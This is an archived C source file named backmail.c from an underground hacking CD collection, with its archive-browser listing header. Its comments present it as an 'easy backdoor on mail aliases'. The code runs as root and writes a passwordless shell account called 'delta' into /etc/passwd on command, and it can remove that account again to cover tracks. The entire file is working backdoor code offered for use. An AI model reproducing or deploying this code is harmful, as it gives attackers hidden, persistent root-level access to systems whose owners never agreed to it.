home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / hack / PDFAQ.ZIP / backmail.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-03-08  |  539 b   |  20 lines

  1. // backmail.c by Permssion Denied
  2. // easy backdoor on mail aliases
  3. // don't forget to add aliases and run newaliases!
  4.  
  5. #include <stdio.h>
  6.  
  7. main(int argc, char **argv) {
  8.  setuid(0);
  9.  setgid(0);
  10.  chdir("/tmp");
  11.  if(argc!=2) return;
  12.  if(strncmp(argv[1], "all",3)==0) 
  13.   system("if [ -z \"`cat /etc/passwd | grep DELTA:`\" ]; then \
  14.  echo delta::1601:1601:Drukarnia DELTA:/tmp:/bin/ash >> /etc/passwd ; fi");
  15.  if(strncmp(argv[1], "none",4)==0) {
  16.   system("grep -v DELTA: /etc/passwd > ac0011.tmp");
  17.   system("mv ac0011.tmp /etc/passwd");
  18.  }
  19. }
  20.